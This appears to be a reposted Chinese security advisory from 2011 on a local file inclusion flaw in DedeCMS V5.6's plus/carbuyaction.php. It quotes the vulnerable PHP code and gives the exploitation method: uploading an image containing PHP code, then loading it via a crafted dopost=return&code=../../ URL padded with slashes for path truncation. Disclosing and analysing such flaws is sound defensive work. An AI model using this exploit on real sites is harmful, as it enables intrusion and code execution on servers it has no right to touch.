DEDECMS网站内容管理系统plus/carbuyaction.php文件本地包含漏洞

2011-3-28 18:57:13 来源:网络转载 浏览:181
DEDECMS网站内容管理系统plus/carbuyaction.php文件本地包含漏洞
出现版本:DEDECMS V5.6

程序介绍: DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于DedeCms核心,是目前国内应用最广泛的php类CMS系统。

漏洞分析: Dedecms V5.6 Final版本中的plus/carbuyaction.php文件中当dopost为return时,$code变量没有初始化,直接被带入了require once 语句中,由于后面限制了.php,从而只能导致本地包含漏洞。
 
1、 plus/carbuyaction.php文件:
 
//漏洞出现下$dopost 为return的时候,$code变量没有被赋值,由于dedecms的全局机制可以任意给其赋值,从而带入包含,导致本地包含漏洞。
 
elseif($dopost == 'return'){
//$code直接引入,from www.oldjun.com
require_once DEDEINC.'/payment/'.$code.'.php';
$pay = new $code;
$msg=$pay->respond();
ShowMsg($msg,'javascript:;',0,3000);
exit();
}
2、 include/common.inc.php:
 
//无论是否打开magic_quotes_gpc,系统都对传进来的变量进行了addslashes处理,from www.oldjun.com
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
 
//模拟register_globals,对_GET、_POST、_COOKIE全局化,from www.oldjun.com
foreach(Array('_GET ','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}


漏洞利用:
1. windows系统:IIS或者某些apache版本下php文件系统可以进行路径截断,
可以通过
///////////////////////////////////(若干/)
/././././././././././././././././(若干/.)
进行截断。

于是可以上传一个精心构造带有恶意php代码的图片,然后注册一个用户上传,比如上传到uploads/userup/2/12Ka5357-c53.jpg,于是可以通过访问:

http://127.0.0.1/ plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg///////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////(若干/)

则有可能执行12Ka5357-c53.jpg中的恶意php代码,从而达到入侵的目的。

2.linux系统:

1)apache某些版本php文件系统支持路径截断,于是同windows下,可以通过
///////////////////////////////////(若干/)
/././././././././././././././././(若干/.)
进行截断。

利用方法同windows:

于是可以上传一个精心构造带有恶意php代码的图片,然后注册一个用户上传,比如上传到uploads/userup/2/12Ka5357-c53.jpg,于是可以通过访问:

http://127.0.0.1/ plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////(若干/)

则有可能执行12Ka5357-c53.jpg中的恶意php代码,从而达到入侵的目的。


解决方案:
开发厂商:DEDECMS
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.dedecms.com/

(0)
(0)